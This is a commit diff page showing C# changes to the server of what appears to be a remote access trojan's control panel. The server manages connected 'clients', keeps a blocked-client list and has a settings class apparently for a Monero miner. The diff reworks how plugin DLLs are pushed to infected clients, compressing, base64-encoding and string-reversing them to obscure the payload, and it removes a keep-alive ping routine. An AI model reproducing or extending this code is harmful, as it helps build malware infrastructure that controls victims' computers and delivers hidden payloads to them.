update
This commit is contained in:
parent
27b8305776
commit
8fae985984
@ -204,41 +204,18 @@ namespace Server.Connection
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void CheckPlugin() // send all plugins md5 hash to client
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
List<string> plugins = new List<string>();
|
|
||||||
foreach (var plugin in Settings.Plugins)
|
|
||||||
{
|
|
||||||
plugins.Add(plugin.Key);
|
|
||||||
}
|
|
||||||
if (plugins.Count > 0)
|
|
||||||
{
|
|
||||||
MsgPack msgPack = new MsgPack();
|
|
||||||
msgPack.ForcePathObject("Packet").SetAsString("checkPlugin");
|
|
||||||
msgPack.ForcePathObject("Hash").SetAsString(string.Join(",", plugins));
|
|
||||||
ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex)
|
|
||||||
{
|
|
||||||
new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb
|
public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
foreach (var plugin in Settings.Plugins)
|
foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
|
||||||
{
|
{
|
||||||
if (hash == plugin.Key)
|
if (hash == GetHash.GetChecksum(plugin))
|
||||||
{
|
{
|
||||||
MsgPack msgPack = new MsgPack();
|
MsgPack msgPack = new MsgPack();
|
||||||
msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
|
msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
|
||||||
msgPack.ForcePathObject("Dll").SetAsString(plugin.Value);
|
msgPack.ForcePathObject("Dll").SetAsString(Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
|
||||||
msgPack.ForcePathObject("Hash").SetAsString(plugin.Key);
|
msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin));
|
||||||
ThreadPool.QueueUserWorkItem(Send,msgPack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Send,msgPack.Encode2Bytes());
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@ -249,27 +226,5 @@ namespace Server.Connection
|
|||||||
new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red);
|
new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void KeepAlivePacket(object o)
|
|
||||||
{
|
|
||||||
lock (SendSync)
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
MsgPack msgpack = new MsgPack();
|
|
||||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
|
||||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
|
||||||
byte[] buffer = msgpack.Encode2Bytes();
|
|
||||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
|
||||||
SslClient.Write(buffersize, 0, buffersize.Length);
|
|
||||||
SslClient.Write(buffer, 0, buffer.Length);
|
|
||||||
SslClient.Flush();
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
Disconnected();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -136,8 +136,6 @@ namespace Server
|
|||||||
ListviewDoubleBuffer.Enable(listView2);
|
ListviewDoubleBuffer.Enable(listView2);
|
||||||
ListviewDoubleBuffer.Enable(listView3);
|
ListviewDoubleBuffer.Enable(listView3);
|
||||||
|
|
||||||
Methods.SetPlugins();
|
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
foreach (string client in Properties.Settings.Default.txtBlocked.Split(','))
|
foreach (string client in Properties.Settings.Default.txtBlocked.Split(','))
|
||||||
|
@ -43,24 +43,5 @@ namespace Server.Helper
|
|||||||
|
|
||||||
return randomName.ToString();
|
return randomName.ToString();
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void SetPlugins()
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
|
|
||||||
{
|
|
||||||
Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
|
|
||||||
#if DEBUG
|
|
||||||
byte[] plg = Zip.Compress(File.ReadAllBytes(plugin));
|
|
||||||
Debug.WriteLine($"{plugin} : {BytesToString(plg.Length)}");
|
|
||||||
#endif
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex)
|
|
||||||
{
|
|
||||||
new HandleLogs().Addmsg(ex.Message, Color.Red);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -24,7 +24,6 @@ namespace Server
|
|||||||
public static bool ReportWindow = false;
|
public static bool ReportWindow = false;
|
||||||
public static List<Clients> ReportWindowClients = new List<Clients>();
|
public static List<Clients> ReportWindowClients = new List<Clients>();
|
||||||
public static object LockReportWindowClients = new object();
|
public static object LockReportWindowClients = new object();
|
||||||
public static Dictionary<string, string> Plugins = new Dictionary<string, string>();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class XmrSettings
|
public static class XmrSettings
|
||||||
|
Loading…
x
Reference in New Issue
Block a user